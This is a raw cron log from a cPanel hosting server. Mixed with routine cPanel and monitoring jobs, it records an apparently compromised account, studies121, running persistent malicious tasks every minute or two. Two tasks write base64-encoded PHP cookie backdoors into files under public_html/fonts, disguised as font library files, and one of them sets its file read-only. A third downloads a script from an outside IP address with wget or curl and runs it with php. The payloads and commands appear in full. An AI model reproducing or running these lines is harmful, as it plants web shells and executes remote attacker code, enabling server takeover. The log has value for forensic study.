Sep 12 10:20:01 ip-184-168-122-23 CROND[8773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:20:01 ip-184-168-122-23 CROND[8777]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 10:20:01 ip-184-168-122-23 CROND[8771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:21:02 ip-184-168-122-23 CROND[8898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:21:02 ip-184-168-122-23 CROND[8899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:21:02 ip-184-168-122-23 CROND[8900]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:21:02 ip-184-168-122-23 CROND[8901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:22:01 ip-184-168-122-23 CROND[9081]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 10:22:01 ip-184-168-122-23 CROND[9085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:22:01 ip-184-168-122-23 CROND[9090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:22:01 ip-184-168-122-23 CROND[9092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:22:01 ip-184-168-122-23 CROND[9091]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:23:01 ip-184-168-122-23 CROND[9185]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:23:01 ip-184-168-122-23 CROND[9187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:23:01 ip-184-168-122-23 CROND[9188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:23:01 ip-184-168-122-23 CROND[9189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:24:01 ip-184-168-122-23 CROND[9269]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:24:01 ip-184-168-122-23 CROND[9270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:24:01 ip-184-168-122-23 CROND[9271]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 10:24:01 ip-184-168-122-23 CROND[9272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:24:01 ip-184-168-122-23 CROND[9276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:25:01 ip-184-168-122-23 CROND[9381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:25:01 ip-184-168-122-23 CROND[9382]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 10:25:01 ip-184-168-122-23 CROND[9385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:25:01 ip-184-168-122-23 CROND[9387]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:25:01 ip-184-168-122-23 CROND[9386]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 10:25:01 ip-184-168-122-23 CROND[9388]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 12 10:25:01 ip-184-168-122-23 CROND[9389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:26:01 ip-184-168-122-23 CROND[9500]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 10:26:01 ip-184-168-122-23 CROND[9502]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:26:01 ip-184-168-122-23 CROND[9503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:26:01 ip-184-168-122-23 CROND[9504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:26:01 ip-184-168-122-23 CROND[9505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:27:01 ip-184-168-122-23 CROND[9685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:27:01 ip-184-168-122-23 CROND[9687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:27:01 ip-184-168-122-23 CROND[9688]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:27:01 ip-184-168-122-23 CROND[9689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:28:01 ip-184-168-122-23 CROND[9774]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:28:01 ip-184-168-122-23 CROND[9776]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 10:28:01 ip-184-168-122-23 CROND[9778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:28:01 ip-184-168-122-23 CROND[9777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:28:01 ip-184-168-122-23 CROND[9779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:29:01 ip-184-168-122-23 CROND[9868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:29:01 ip-184-168-122-23 CROND[9869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:29:01 ip-184-168-122-23 CROND[9870]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:29:01 ip-184-168-122-23 CROND[9872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:30:01 ip-184-168-122-23 CROND[9961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:30:01 ip-184-168-122-23 CROND[9963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:30:01 ip-184-168-122-23 CROND[9964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:30:01 ip-184-168-122-23 CROND[9966]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 10:30:01 ip-184-168-122-23 CROND[9968]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 10:30:01 ip-184-168-122-23 CROND[9973]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 10:30:01 ip-184-168-122-23 CROND[9974]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:30:01 ip-184-168-122-23 CROND[9975]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 10:31:02 ip-184-168-122-23 CROND[10089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:31:02 ip-184-168-122-23 CROND[10090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:31:02 ip-184-168-122-23 CROND[10093]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 10:31:02 ip-184-168-122-23 CROND[10091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:31:02 ip-184-168-122-23 CROND[10092]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:32:01 ip-184-168-122-23 CROND[10282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:32:01 ip-184-168-122-23 CROND[10286]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:32:01 ip-184-168-122-23 CROND[10284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
